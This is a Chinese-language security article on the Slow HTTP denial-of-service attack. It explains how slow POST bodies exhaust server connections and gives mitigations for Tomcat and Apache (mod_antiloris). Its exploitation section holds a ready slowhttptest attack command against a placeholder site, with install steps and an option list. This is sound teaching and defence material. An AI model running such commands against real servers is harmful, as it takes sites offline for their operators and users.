Slow HTTP Denial of Service Attack


一、漏洞描述

利用HTTP POST請求時,指定一個非常大的content-length,然后以很低的速度發包,比如10-100s發一個字節並保持這個連接不斷開。當客戶端連接數達到一定程度,占用服務器的所有可用連接,從而導致DOS

 

二、漏洞利用

滲透工具:slowhttptest

下載地址:https://github.com/shekyan/slowhttptest.git

安裝過程:

切換到slowhttptest解壓目錄,執行以下操作

./configure

make

make install

注意事項:安裝此工具要先安裝開發工具包

可以參考https://www.cnblogs.com/573583868wuy/p/6799311.html

安裝完成后使用以下命令開始攻擊

slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://mysite -x 10 -p 3

當再次訪問網站時,看到加載緩慢或者一直在加載就說明攻擊成功。

 

工具用法:

-a開始值范圍說明符用於范圍頭測試

-b 將字節限制的范圍說明符用於范圍頭測試

- c的連接數限制為65539

- d proxy host:port用於指導所有流量通過web代理

- e proxy host:port端口用於指導只有探針交通通過web代理

- h,B,Rx指定減緩在頭部分或在消息體,- R 允許范圍檢驗,使慢讀測試- x

- g生成統計數據在CSVHTML格式,模式是緩慢的xxxcsv / html,其中xxx是時間和日期

- i seconds秒間隔跟蹤數據在幾秒鍾內,每個連接

- k管道因子次數重復請求在同一連接慢讀測試如果服務器支持HTTP管道內襯。

- l在幾秒鍾內,秒測試時間

- n秒間隔從接收緩沖區讀取操作

- o文件定義輸出文件路徑和/或名稱,如果指定有效- g

- p秒超時等待HTTP響應在探頭連接后,服務器被認為是不可訪問的

- r seconds連接速度

- s字節值的內容長度標題詳細說明,如果指定- b

- t verb自定義

- u URL目標URL,相同的格式鍵入瀏覽器,eg https://host[:port]/

- v level冗長等級0 - 4的日志

- w字節范圍廣告的窗口大小會選擇從

- x字節最大長度的跟蹤數據結束

- y字節范圍廣告的窗口大小會選擇從

- z字節從接收緩沖區讀取字節與單一的read()操作

 

 

三、解決方法

方法一:對web服務器的http頭部傳輸的最大許可時間進行限制,修改成最大許可時間為20

 

tomcat為例,打開server.xml找到

  <Connector port="8080" protocol="HTTP/1.1"

  connectionTimeout="20000"

  redirectPort="8443" />

  將其中的connectionTimeout="20000"改為connectionTimeout="8000",其單位是毫秒。

 

 

方法二:由於Apache易受此攻擊,因此我們應該采取一些預防措施。我們需要安裝 名為mod_antilorisApache模塊。該模塊根據每個IP限制處於讀狀態的線程數,並保護 Apache不受Slowloris攻擊。安裝指令如下:

 

安裝httpd-devel

yum install -y httpd-devel

安裝編譯模塊gcc

yum install gcc -y

切換到一下目錄

cd /usr/local/src/

從網上下載mod_antilorisApache模塊

wget sourceforge.net/projects/mod-antiloris/files/mod_antiloris-0.4.tar.bz2

解壓

tar -xf mod_antiloris-0.4.tar.bz2

調用apxs編譯安裝mod_antiloris.c文件

apxs -a -i -c mod_antiloris.c 

重啟httpd服務

service httpd restart

檢驗antiloris進程是否啟用

httpd -M |grep antiloris

完成


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM